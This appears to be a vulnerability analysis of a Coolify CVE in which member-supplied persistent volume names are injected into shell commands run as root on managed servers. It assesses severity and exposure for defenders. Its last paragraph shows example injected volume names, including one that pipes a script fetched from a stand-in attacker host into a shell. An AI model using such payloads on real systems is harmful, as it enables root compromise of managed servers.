Coolify CVE-2026-42143

Exploitation requires an authenticated Coolify member account (CVSS PR:L) that can set or influence a persistent volume name, and the injected payload only fires when a volume operation is triggered on a managed server - the specific feature is user-controlled persistent volume names being interpolated into shell commands without escaping. No user interaction and no special non-default configuration are needed beyond having managed servers with volume operations in use. The principal limiting factor is the authentication requirement: an anonymous internet attacker cannot exploit this directly, so realistic risk is confined to deployments that grant member accounts to less-trusted users (teams, multi-tenant, or client-facing installs); single-operator instances are far less exposed.

The signals are broadly consistent and point to a genuine priority for anyone running Coolify with multiple or semi-trusted members. The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, 8.8) indicates remote, low-complexity exploitation needing only an authenticated member account and no user interaction, with full confidentiality/integrity/availability impact - and the real-world impact is arguably understated by S:U, since a low-privileged app member gains root on managed infrastructure. Mitigating the urgency: this is NOT in CISA KEV and there is no public POC referenced, so it is 'no public exploit identified at time of analysis' rather than actively exploited; EPSS was not provided. SSVC-style reasoning: exploitation is technically simple and the technical impact is total (root RCE), but it is gated behind holding a valid member account, so it is not exploitable by a fully anonymous internet attacker. The main uncertainty is the trust level of 'member' accounts in a given deployment - solo self-hosters face little risk, whereas multi-tenant or team installations should treat this as high priority.

An authenticated Coolify member with permission to define a persistent volume creates one named something like myvol$(id>/tm/pwned) or myvol;curl attacker.sh|sh; when a normal volume operation is later triggered, Coolify interpolates the name into a shell command and executes the injected payload as root on the managed server. No public POC is referenced, but the low attack complexity and no-user-interaction vector make reliable exploitation straightforward for any member.